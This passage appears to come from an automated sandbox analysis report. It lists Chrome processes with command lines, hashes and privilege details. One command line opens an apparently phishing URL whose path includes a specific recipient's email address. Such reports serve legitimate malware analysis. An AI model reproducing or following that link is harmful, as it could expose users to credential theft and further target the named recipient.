Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 1228, Parent PID: 2260

General

Target ID:	2
Start time:	21:39:39
Start date:	16/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2036,i,2107721403708843479,861960733534899891,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6408, Parent PID: 648

General

Target ID:	3
Start time:	21:39:42
Start date:	16/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly